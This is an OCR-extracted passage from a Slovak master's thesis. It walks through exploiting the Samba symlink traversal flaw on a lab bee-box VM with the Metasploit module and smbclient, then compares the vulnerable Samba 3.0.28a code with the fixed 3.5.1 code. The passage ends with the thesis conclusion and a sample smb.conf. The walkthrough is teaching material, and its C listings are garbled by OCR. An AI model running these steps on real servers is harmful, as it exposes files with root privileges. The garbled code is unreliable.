najdeme skript, vyberieme ho, nastavime cielovu IP adresu, zdiel'any adresar a skript

spustime.
|$ msfconsole l
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msf6 > $ search samba symlink traversal
msf6 > $ use O
msf6 auxiliary(admin/smb/samba symlink traversal) > $ show options

root@kali: ~

File Actions Edit View Help

msf6 > use @
msf6 auxiliary(admin/smb/samba_symlink_traversal) > show options

Module options (auxiliary/admin/smb/samba_symlink_ traversal):

Name Current Setting Required Description
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-met
sics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBSHARE yes The name of a writeable share on the server
SMBTARGET rootfs yes The name of the directory that should point to the root filesystem
View the full module info with the , or command .

Obrazok 5.7: Zobrazenie nastaveni pre dany skript.

Z uvedenych moznosti podla obrazku nastavime parametre pre RHOSTS apre
SMBSHARE. Do prvého parametra zadame cielovii IP adresu ado druhého
spomenutého parametra zvolime adresar, ktory je zdielany a je typu Disk. V naSom

pripade m6zeme zvolit’ adresar tmp.

msf6 auxiliary(admin/smb/samba symlink traversal) > $ set RHOSTS
IP adresa bee-boxu

msf6 auxiliary(admin/smb/samba symlink traversal) > $ set SMBSHARE
tmp

msf6 auxiliary(admin/smb/samba symlink traversal) > $ show options
msf6 auxiliary(admin/smb/samba symlink traversal) > § run

root@kali: ~

File Actions Edit View Help

msf6 auxiliary(admin/smb/samba_symlink_traversal) > show options
Module options (auxiliary/admin/smb/samba_symlink_traversal):
Name Current Setting Required Description
RHOSTS 192.168.150.130 yes The target host(s), see https://docs.metasploit.com/docs/using-m
etasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBSHARE tmp yes The name of a writeable share on the server
SMBTARGET rootfs yes The name of the directory that should peint to the root filesyst
em
View the full module info with the , or command.

Obrazok 5.8: Kontrola nastavenych parametrov.

Vypis 5.1: Ukazka po dokonceni skriptu.

[*] Running module against 192.168.150.130

[*] 192.168.150.130:445 - Connecting to the server...

[*] 192.168.150.130:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.150.130:445 - Trying to 1link 'rootfs' to the root
filesystem...

[*] 192.168.150.130:445 - Now access the following share to browse
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the root filesystem:
[*] 192.168.150.130:445 - \\192.168.150.130\tmp\rootfs\

[*] Auxiliary module execution completed

Po dokonceni skriptu dostaneme vypis, ktory je podobny ako vypis 5.1. Zameriame
sa na predposledné dva riadky, z ktorych je mozné vidiet, Ze v adresari tmp
sa vytvoril novy podadresar root £s, V ktorom sa budu nachadzat’ ¢i uz stibory alebo
iné data od ro6znych uzivatel'ov. Konzolu mézeme zavriet' a pokusime sa anonymne
pripojit’ pomocou prikazu smbclient naip adresu bee-boxu a do adresara tmp. Pri

zadavani hesla ni¢ nezadavame a iba stla¢ime enter na klavesnici.
| $ smbclient //IP adresa bee-boxu/tmp |

root@kali: ~

File Actions Edit View Help

E(root@kali)—[-v}

# //192.168.150.130/tmp

Password for [WORKGROUP\root]:

Anonymous login successful

Try "help" to get a list of possible commands.
smb: \>

Vypis 5.2: Pripojenie pomocou smbclient prikazu na server.

Po uspeSnom vykonani predchadzajucich prikazov teraz moézeme prechadzat
jednotlivé adreséare, stahovat’ a nahrdvat’ r6zne subory s root opravneniami. Par
prikazov, ktoré mézeme vyuzit' su 1s, more, get, mget, put a d’alsie, ktoré sa daji
zistit pomocou prikazu help. Pre ukdzku mdézeme prejst’ do l'ubovolného adresara
a stiahnut' nejaky subor. Subory st automaticky stahované do adreséara

/home/kali Vv zariadeni Kali.

smb: \> $ cd rootfs\home\thor\Examples\
smb: \rootfs\home\thor\Examples\> $ 1s
smb: \> $ get ndzov suboru

root@kali: ~

File Actions Edit View Help

case_KRUU.pdf
oo-presenting-ubuntu.odp
case_howard_county_library.pdf
case_Skegness.pdf
case_Contact.pdf

Experience ubuntu.ogg

N 363503 Thu Apr 10 17:
N 501054 Thu Apr 10 17:
N 56530 Thu Apr 10 17:
N 133005 Thu Apr 10 17:
N 184905 Thu Apr 10 17:
N 3576296 Thu Apr 10 17:
19891060 blocks of size 1024. 15587096 blocks av
smb: \rootfs\home\thor\Examples\> get case_Skegness.pdf
getting file \rootfs\home\thor\Examples\case_Skegness.pdf of siz
8 KiloBytes/sec) (average 12602.2 KiloBytes/sec)
smb: \rootfs\home\thor\Examples\> [}

Obrazok 5.9: Stiahnutie siiboru case Skegness.pdf.
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= case_Skegness.pdf

File Edit View Go Bookmarks Help

(1of 1) Fit Width

\.
Case Study - - ubuntu

Ubuntu proves invaluable for
specialist sports school

Stability, reduced maintenance and significant cost-
savings - Ubuntu proved an outstanding choice for
Skegness Grammar School.

Background

Skegness Grammar School is a small selective school on the Lincolnshire coast. It acts
as a specialist college for sport for nearly 800 pupils, and has a boarding provision for
around B0, Alistair Crust is respoensible for serving the technology needs of the
Skegness Grammar School community.

Issue
@ In 2001, the schools aging Movell and Windows 9% curriculum network was creaking
I and in need of an upgrade, Alistair was faced with the dilemma of providing a secure,
) robust and cost-effective computing environment across the school whilst ensuring

Maths & SPORTS minimal disruption was caused by the implementation of a new operating system.

Obrazok 5.10: Otvoreny PDF stbor.

5.1.2 Porovnanie kédu

V tejto Casti laboratornej ulohy bude porovnany a vysvetleny kod, pomocou ktorého sa
podarilo znizit’ riziko vyskytu spominanej zranitel'nosti. V ramci opravy kdédu boli do
novsej verzie Samby implementované funkcie, pomocou ktorych bolo mozné povolit’
alebo zakazat’ spracovéavanie tzv. wide linksaunix extensions. Aktualizovana
verzia ma tieto funkcie automaticky zakazané. Do konfiguraéného suboru smb.conf
boli v ramci globalnych parametrov pridané tieto moznosti ako wide links = no
aunix extensions = no. Porovnavané verzie Samby st 3.0.28a (stary kod je
¢ervenou farbou), ktora je pouzivana v ramci tejto laboratornej tlohy a verzia 3.5.1 (novy
kéd je zelenou farbou).

Pomocou wide 1links je mozné povolit’ alebo zakazat’, ¢i Samba bude umoznovat
spracovavat’ symbolické odkazy, ktoré¢ odkazujii mimo zdiel'ané¢ho priecinka. V ramci
zamedzeniu vyskytu d’alSich podobnych situécii, je tito moznost’ automaticky zak4zana
atym padom sa predchadza utokom od klientov, ktori by sa chceli dostat’ mimo
zdiel'aného priecinka.

V ramci unix extensions je mozné povolit’ alebo zakazat’ podporu zo strany
servera pre rozSirenia opera¢ného systému UNIX do CIFS alebo SMB protokolu.
Zakazanie tejto moznosti tiez pomaha k zniZeniu rizika vyskytu tejto zraniteI'nosti, ked’ze
zabranuje vytvaraniu symbolickych odkazov na Samba serveri. Spracovavanie
symbolickych odkazov mé v operaénom systéme Windows ini konfiguriciu, ktora
nesposobovala spominanu zranitelnost’ a tym padom zakazanie tejto moznosti malo
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najvacsi vplyv pre uzivatel'ov operacného systému Linux a MacOS, ale nie pre uzivatel'ov
Windowsu.

Vypis 5.3: Funkcia check name V subore Filename.c.

NTSTATUS check name (connection struct *conn, const pstring name)
NTSTATUS check name (connection struct *conn, const char name)

{

if (IS _VETO_ PATH(conn, name)) {
/* Is it not dot or dot dot. */
if (! ((name[0] == '.') && (!'name[l] || (name[l] == '.' &&
'name [2])))) {
DEBUG (5, ("check name: file path name

%$s vetoed\n",name)) ;
return map_nt_error_from_unix(ENOENT);
}
}

if (!1lp widelinks (SNUM(conn)) || !lp symlinks (SNUM(conn))) {
NTSTATUS status = reduce name (conn,name) ;
NTSTATUS status = check reduced name (conn,name) ;
if (INT STATUS IS OK(status)) ({
DEBUG (5, ("check name: name $s failed with
%$s\n", name, nt errstr(status)));
return status;
}
}

return NT STATUS OK;

Logika funkcie check name zostava zachovana ako V starSej verzii, tak aj
v aktualizovanej. Takzvané veto cesty IS VETO PATH sa kontroluje na zaciatku, aby
bolo mozné zamedzit’ pristupu Kk siborom alebo adresarom, ktoré su explicitne zakazané
v konfiguracii. Ak sa dany adresar nachadza medzi zakdzanymi cestami, funkcia vrati
chybu.

Hlavna zmena ktora nastala je v bezpe¢nejSom a dokladnejSom overovani zakézanych
ciest. Hoci sa v starSej verzii tieto cesty kontrolovali, stale vSak dochadzalo k vyskytu
zranitelnosti. Preto  pomocou funkcie check reduced name dochadza
k bezpecnejsiemu overovaniu a identifikacii neautorizovanych pristupov do adresarov
cez symbolické odkazy, ktoré naslednej zablokuje.

Vypis 5.4: Kontrola povolenia wide links v subore vfs. c.

/* Check for widelinks allowed. */

if (!1p widelinks (SNUM (conn)) && (strncmp (conn->connectpath,
resolved name, con _path len) != 0)) {
DEBUG (2, ("reduce name: Bad access attempt: %$s is a
symlink outside the share path", fname));

if (free resolved name) {

SAFE FREE (resolved name) ;
}
return NT_STATUS_ACCESS_DENIED;
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if (!1p widelinks (SNUM(conn))) {
const char *conn_ rootdir;

conn_rootdir = SMB VFS CONNECTPATH (conn, fname);
if (conn rootdir == NULL) {
DEBUG (2, ("check reduced name: Could not get "
"conn rootdir\n"));
if (free resolved name) {
SAFE FREE (resolved name) ;
}
return NT STATUS ACCESS DENIED;
}

if (strncmp(conn rootdir, resolved name,

strlen (conn rootdir)) != 0) {
DEBUG (2, ("check reduced name: Bad access "
"attempt: %$s is a symlink outside the "
"share path\n", fname)) ;

if (free resolved name) {

SAFE FREE (resolved name) ;
}
return NT STATUS ACCESS DENIED;

}
Vo verzii 3.0.28a ako aj v d’alsich zranitel'nych verziach sa vykonavala kontrola, ¢i

st wide 1links zakazané azarovefi, ¢i cesta k siboru resolved name nie je

stastou prepojovacej cesty conn—>connectpath. Ak bola cesta mimo prepojovacej
cesty awide links boli zakdzané, pristup bol zamietnuty. K vyskytu zranitel'nosti
mohlo dochadzat’ z niekol’kych dovodov. Kontrola cesty bola zaloZend iba na porovnani
cesty s connectpath, ¢o bolo nedostato¢né a nebralo do ivahy mozné platné pouZitia
symbolickych odkazov vramci zdielanych prie¢inkov a suborov. Dal§im slabym
miestom bola funkcia resolved name, ktord mohla prijat’ od uto¢nika iné parametre,
pomocou ktorych sa ju podarilo zmanipulovat. Utoénik nasledne mohol vytvorit
symbolicky odkaz, ktory viedol mimo uréené¢ho zdiel'aného priestoru, hoci boli wide
links zakazané.

V novsej verzii st implementované metody k dokladnej$im kontroldm danych ciest.
Tentokrat sa berie do Gvahy uz aj skutoény korenn zdielaného adresara a nie iba
prepojovacia cesta. Utoénik tym padom uz nedokaze vyuzit' komplikované cesty alebo
symbolické odkazy na obidenie kontroly.

Vypis 5.5: Kontrola UNIX rozSireni pritomnych v systéme v sibore clifsinfo.c.

BOOL cli set unix extensions capabilities (struct cli state welil,
uintl6 major, uintlé minor,uint32 caplow, uint32 caphigh)
{

BOOL ret = False;

uintl6 setup;

char param[4];

char datal[l2];

char *rparam=NULL, *rdata=NULL;
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unsigned int rparam count=0, rdata count=0;
setup = TRANSACT2_SETFSINFO;

SSVAL (param, 0,0) ;
SSVAL (param, 2, SMB_SET CIFS UNIX INFO);

SSVAL (data, 0,major) ;
SSVAL (data, 2, minor) ;
SIVAL (data, 4,caplow) ;
SIVAL (data, 8, caphigh) ;

if (!cli send trans(cli, SMBtrans2,
NULL,
0, O,
&setup, 1, O,
param, 4, O,
data, 12, 560)) {
goto cleanup;

}

if (!cli receive trans(cli, SMBtransz,
&rparam, &rparam count,
&rdata, &rdata count)) {
goto cleanup;

}

if (cli is error(cli)) {

ret = False;

goto cleanup;
} else {

ret = True;

}

cleanup:
SAFE FREE (rparam) ;
SAFE FREE (rdata) ;

return ret;

Tento kdéd pomaha nastavit na serveri potrebné Unix rozSirenia, ktoré klient
podporuje atym zlepsit kompatibilitu medzi klientom a serverom. Na zaciatku sa
inicializuju lokalne premenné, ktoré budi vyuZité pocas operacie. Premennd ret
znamena uspesnost’ operacie a na zaciatku je nastavena na False. Nasleduje nastavenie
parametrov pre transakciu, v tomto pripade nastavenie informacii o suborovom systéme.
Odoslanie transakcie prebieha pomocou cli send trans. Ak proces zlyha,
pokracuje sa do sekcie cleanup. Na prijatie odpovede sa cakd pomocou
cli receive trans apri zlyhani sa prechadza taktiez do sekcie cleanup.
Nasleduje kontrola chyb pomocou cli is error aV pripade vyskytu chyby sa
premenna nastavi na False, inak sa nastavi na True. Nasleduje vyc€istenie (uvol'nenie)
pridelenych zdrojov pomocou cleanup. Na zaver funkcia vrati hodnotu ret, ktora bud’
indukuje tspech True alebo neuspech False.
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Vypis 5.6: Kontrola wide links v subore 1ocadparam. c vo verzii Samby 3.5.1.

/******************************************************************

Safe wide links checks.
This helper function always verify the validity of wide links,

even after a configuration file reload.
*******************************************************************/

static bool lp widelinks internal (int snum)

{
return (bool) (LP_SNUM OK (snum)? ServicePtrs|[ (snum)]->bWidelinks

sDefault.bWidelinks) ;
}

void widelinks warning (int snum)
{

if (lp_unix extensions (

]

&& lp widelinks internal (snum)) {
DEBUG (0, ("Share !

has wide links and unix extensions

)
s
enabled. "

"These parameters are incompatible. "

"Wide links will be disabled for this share.\n",

lp servicename (snum) ));

}

bool 1lp widelinks (int snum)
{
/* wide links 1is always incompatible with unix extensions */
if (lp unix extensions()) {
return false;

}

return lp widelinks internal (snum) ;

Verzia Samby 351 oproti  verzii 3.0.28a  obsahuje  funkciu
lp widelinks internal, ktord sa zaobera spracovanim a bezpeCnostou wide
links — symbolickych odkazov, ktoré mo6zu ukazovat’ na lokdcie mimo zdiel'aného
adresarového priestoru. Hlavnou ulohou je bezpecne spracovat’ tieto symbolické odkazy
v ramci Unix roz$ireni.

Pomocou tejto funkcie sa overuje platnost’ nastavenia wide 1links pre konkrétnu
zdiel'anu sluzbu, ktora je identifikovand pomocou snum — ¢isla sluzby. Funkcia vrati
true alebo false na zaklade toho, ¢i je pre danu sluzbu povolena funkcia wide
links. Taktiez sa kontroluje platnost’ indexu sluzby LP SNUM OK (snum) a podla
toho sa rozhodne medzi pouzitim Specifického nastavenia sluzby alebo predvolenych
nastaveni.

Funkcia widelinks warning slozi ako uz z ndzvu vyplyva, na vygenerovania
varovania. Toto varovanie je generované do logovacich suborov, ak st zaroven povolené
wide links a Unix rozsirenia. Ak st obe podmienky pre toto varovanie splnené,
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dochadza k jeho vygenerovaniu, ktoré upozoriiuje na nekompatibilitu tychto nastaveni
awide links budua pre danu sluzbu zakazané.

Funkcia 1p widelinks poskytuje overenie, ¢i si pre dant sluzbu povolené wide
links. V pripade, ze su globalne povolené Unix rozsirenia
lp unix extensions (), funkcia vrati false, bez ohl'adu na konkrétne nastavenie
wide links pre sluzbu. Ak Unix rozsirenia nie si povolené, hlavny vysledok pre
funkciujez 1p widelinks internal. Bezpecnostné riziko nastdva v tom pripade,
ak by boli naraz povolené wide links a Unix rozSirenia, pretoze z dovodu ich
nekompatibility méze dojst’ k vyskytu d’alSich, rovnako zavaznych zranitelnosti, ako
bolo ukazané napriklad aj v tejto laboratdrnej ulohe. Ukézku konfiguracného suboru,
s ktorym sa pracovalo v ramci laboratornej tilohy, je mozné si pozriet' v prilohe Chyba! N
enasiel sa Ziaden zdroj odkazov..

5.1.3 Zaver

Cielom tejto laboratdrnej tlohy bolo zreplikovat’ zranitel'nost, ktora postihuje vacSinu
verzii softvéru Samby pred verziou 3.5.0rc3. Oprava prisla v tejto spomenutej verzii. Tato
zranitelnost’ umoziiovala uto¢nikovi vykonat’ anonymné prihlasenie s opravneniami root
a nasledne prechadzat’ adresare v systéme, stahovat’ a nahravat’ subory. Utoénik sa tym
padom mohol dostat’ k citlivym udajom, €o predstavuje potencidlne bezpecnostné riziko.
V tejto laboratdrnej tlohe sa pouzivali dve virtudlne zariadenia, ktorymi st Kali Linux a
Bee-Box zalozeny na Ubuntu. Danu zranitenost’ sa podarilo tspe$ne zreplikovat
s vyuzitim skriptu, ktory sa nachadzal v Metasploit Framework konzole. Hoci bol skript
urCeny primarne pre verziu Samby 3.4.5, fungoval aj pre naSe potreby, kedZe je
zranitelnost’ pritomna v obidvoch verziach. Taktiez sa podarilo Vv ramci ukazky
laboratornej tlohy stiahnut” sibory jedného z uzivatel'ov a prehliadnut’ si ich. V zavere
laboratornej tilohy sa podarilo popisat’ kod zraniteI'nej verzie Samby 3.0.28a, s ktorou sa
pracovalo a taktiez bol popisany kod opravenej verzie Samby 3.5.1, v ktorej sa uz dana
zranitel'nost’ nevyskytovala.
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6 ZAVER

Cielom tejto diplomovej prace bolo poskytnit podrobny pohlad na problematiku
zranitel'nosti v kompilovanych jazykoch, pricom zameranie bolo na jazyk C a nasledné
vytvorenie laboratérnych tloh, Vvktorych by bolo mozné zranitelnosti Uspesne
zreplikovat’. Celkovo boli vytvorené tri laboratorne ulohy, pricom v kazdej z nich bolo
zameranie na iny typ zranitelnosti. Spominané zraniteI'nosti boli zamerané na pretecenie
vyrovnavacej pamdite (buffer overflow), citanie nad ramec vyrovnavacej pamdite (buffer
over-read) a prechddzanie adresarov (path/directory traversal). Na zreplikovanie tychto
zraniteI'nosti boli vyuzité zraniteI'né verziu softvéru OpenSSL 1.0.1, 3.0.5, 3.0.6 a Samba
3.0.28a. Pre ukazku boli v prvej ulohe nézorné ukazané aj verzie OpenSSL, ktoré
neobsahovali spominanu zranitelnost. Taktiez sa pouzili tie isté subory na vytvorenie
certifikatov ako aj Vv pripade zranitenej verzie. Nasledna ukazka dokazala, ze
zranitel'nost’, ktora by spdsobila odopretie sluzby (DoS), sa uz vo verziach OpenSSL 3.0.7
a 3.0.12 nenachéadza. Tymto sposobom bolo mozné sledovat, ako sa spravaju zranitel'né
verzie OpenSSL a opravené verzie. V druhej laboratornej tlohe bola vyuzita zraniteI'na
verzia OpenSSL 1.0.1f, ktora obsahovala zranitelnost' Heartbleed. Na zreplikovanie
zranitel'nosti bol vyuzity skript z databazy Metasploit Framework konzoly. ZraniteI'nost’
bola uspesne zreplikovana, pricom vysledkom bolo, Zze server odpovedal vicSim
mnozstvom dat, ako v skuto¢nosti mal. V tretej ulohe bola k zreplikovaniu zraniteI'nosti
vyuzitd verzia Samby 3.0.28a, priCom vyuzity skript bol primarne uréeny pre verziu 3.4.5.
Kedze ale obidve tieto verzie Samby su zranite'né na ten isty utok a stale obsahovali tu
st zranitelnost’, skript pre nase potreby fungoval bez problémov. VSetky tieto
zranitel'nosti sa podarilo uspeSne zreplikovat’ a ukéazat’ dosledky chybnej implementacie
kodu v zranitelnych verziach softvéru. Nasledne boli v kazdej laboratornej ulohe
podrobne vysvetlené zranitelné verzie koédu, kedy dochadzalo k zranitelnostiam
anasledne ich opravené verzie. Obe verzie kodov boli porovnané medzi sebou
a znazornené, ktoré Casti z nich sa zmenili. Boli vyuzité celkovo tri opera¢né systémy,
s pomocou ktorych sa podarilo uvedené zranitel'nosti zreplikovat, ato konkrétne
Windows 10, OWASP Bee-Box zalozeny na Ubuntu a Kali Linux.
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ZOZNAM SYMBOLOV A SKRATIEK

Skratky:

ACK
CVE
DAST
DoS
FTP
GDPR
HIPAA
HTTP
HTTPS
PCI DSS
PHP
SaaS
SAST
SDLC
SQL
SYN
TCP
UDP
XML
XSS
XXE

Acknowledgment

Common Vunlerabilities and Exposures
Dynamic Application Security Testing
Denial of Service

File Transfer protocol

General Data Protection Regulation
Health Insurance Portability and Accountability Act
Hypertext Transfer Protocol

Hypertext Transfer Protocol Secure
Payment Card Industry Data Security Standard
Hypertext Preprocessor
Software as a Service

Static Application Security Testing
Software Development LifeCycle
Structured Query Language
Synchronize

Transmission Control Protocol

User Datagram Protocol

eXtensible Markup Language
Cross-Site-Scripting

XML External Entity
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Priloha A - Konfigura¢ny subor pre Samba
zdielanie

Sample configuration file for the Samba suite for Debian GNU/Linux.

This is the main Samba configuration file. You should read the
smb.conf (5) manual page in order to understand the options listed
here. Samba has a huge number of configurable options most of which
are not shown in this example

Any line which starts with a ; (semi-colon) or a # (hash)

is a comment and is ignored. In this example we will use a #
for commentary and a ; for parts of the config file that you
may wish to enable

NOTE: Whenever you modify this file you should run the command
"testparm" to check that you have not many any basic syntactic
errors.

H oS S S S S S S S S S H S S S S S

[global]
## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will
part of
workgroup = itsecgames

# server string is the equivalent of the NT Description field
server string = %$h server (Samba 5%v)

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS
Server

8 wins support = no

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT
both

g wins server = wW.X.y.Z

# This will prevent nmbd to search for NetBIOS names through DNS.
dns proxy = no

# What naming service and in what order should we use to resolve host
names

# to IP addresses

g name resolve order = lmhosts host wins bcast

###4 Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
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# that connects
log file = /var/log/samba/log.%m

# Put a capping on the size of the log files (in Kb).
max log size = 1000

# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.

g syslog only = no

# We want Samba to log a minimum amount of information to syslog.

Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to
log
# through syslog you should set the following parameter to something
higher.

syslog = 0

# Do something sensible when Samba crashes: mail the admin a backtrace
panic action = /usr/share/samba/panic-action %d

##44#44 Authentication ######4

# "security = user" is always a good idea. This will require a Unix
account

# in this server for every user accessing the server. See

# /usr/share/doc/samba-doc/htmldocs/ServerType.html in the samba-doc
# package for details.

5 security = user

You may wish to use password encryption. See the section on
'encrypt passwords' in the smb.conf (5) manpage before enabling.
encrypt passwords = true

H= H=

If you are using encrypted passwords, Samba will need to know what
password database type you are using.
passdb backend = tdbsam guest

H= H=

obey pam restrictions = yes

g guest account = nobody
invalid users = root

# This boolean parameter controls whether Samba attempts to sync the
Unix

# password with the SMB password when the encrypted SMB password in
the

# passdb is changed.

g unix password sync = no

# For Unix password sync to work on a Debian GNU/Linux system, the
following
# parameters must be set (thanks to Augustin Luton
<aluton@hybrigenics.fr> for
# sending the correct chat script for the passwd program in Debian
Potato) .

passwd program = /usr/bin/passwd %u

passwd chat = *Enter\snew\sUNIX\spassword:* %n\n
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*Retype\snew\sUNIX\spassword:* %n\n

# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in

# 'passwd program'. The default is 'no'.

g pam password change = no

username map script = /etc/samba/scripts/mapusers.sh
FHEFFHFHFESF Printing #EFHFFHFHS

# If you want to automatically load your printer list rather
# than setting them up individually then you'll need this
8 load printers = yes

lpr (ng) printing. You may wish to override the location of the
printcap file

5 printing = bsd

5 printcap name = /etc/printcap

+= FH=

# CUPS printing. See also the cupsaddsmb (8) manpage in the

# cupsys-client package.

5 printing = cups

5 printcap name = cups

# When using [print$], root is implicitly a 'printer admin', but you

can
# also give this right to other users to add drivers and set printer
# properties

5 printer admin = @ntadmin

#i###### File sharing ########

# Name mangling options
5 preserve case = yes
5 short preserve case = yes

#HEHFHFHRHES Misc HEFH#HHFESEES

Using the following line enables you to customise your configuration
on a per machine basis. The %m gets replaced with the netbios name
of the machine that is connecting

g include = /home/samba/etc/smb.conf.%m

H=

Most people will find that this option gives better performance.
See smb.conf (5) and /usr/share/doc/samba-doc/htmldocs/speed.html
for details
You may want to add the following on a Linux system:
SO_RCVBUF=8192 SO_SNDBUF=8192
socket options = TCP_NODELAY

H o e e e

# The following parameter is useful only if you have the linpopup
package

# installed. The samba maintainer and the linpopup maintainer are

# working to ease installation and configuration of linpopup and
samba.

5 message command = /bin/sh -c '/usr/bin/linpopup "$f" "%m" %$s; rm
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s' &

# Domain Master specifies Samba to be the Domain Master Browser. If
this

# machine will be configured as a BDC (a secondary logon server), you
# must set this to 'no'; otherwise, the default behavior is
recommended.

8 domain master = auto

# Some defaults for winbind (make sure you're not using the ranges
# for something else.)

; idmap uid = 10000-20000

5 idmap gid = 10000-20000

8 template shell = /bin/bash

#::::::::::::::::::::::: Share Deflnltlons P Y Y Y YFYYFY FYF ™ ™™ [
[homes]

comment = Home Directories

browseable = no

# By default, the home directories are exported read-only. Change next
# parameter to 'yes' if you want to be able to write to them.
writable = yes

# File creation mask is set to 0700 for security reasons. If you want

to

# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you

want to

# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0700

# Un-comment the following and create the netlogon directory for
Domain Logons

# (you need to configure Samba to act as a domain controller too.)
; [netlogon]

g comment = Network Logon Service

5 path = /home/samba/netlogon

g guest ok = yes

8 writable = no

g share modes = no

[printers]
comment = All Printers
browseable = no
path = /tmp
printable = yes
public = no
writable = no
create mode = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]

comment = Printer Drivers

path = /var/lib/samba/printers
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browseable = yes

read only = yes

guest ok = no
Uncomment to allow remote administration of Windows print drivers.
Replace 'ntadmin' with the name of the group your admin users are
members of.
8 write list = root, @ntadmin

+= =

# A sample share for sharing your CD-ROM with others.

; [cdrom]
g comment = Samba server's CD-ROM
8 writable = no

8 locking = no
path = /cdrom
8 public = yes

~

# The next two parameters show how to auto-mount a CD-ROM when the
# cdrom share is accesed. For this to work /etc/fstab must contain
# an entry like this:
#
# /dev/scd0 /cdrom 1509660 defaults,noauto,ro,user 00
#
# The CD-ROM gets unmounted automatically after the connection to the
#
# If you don't want to use auto-mounting/unmounting make sure the CD
# is mounted on /cdrom
#
5 preexec = /bin/mount /cdrom
5 postexec = /bin/umount /cdrom
[tmp]
comment = oh noes!
read only = no
locking = no
path = /tmp
guest ok = yes
[opt]

read only = yes
locking = no
path = /tmp
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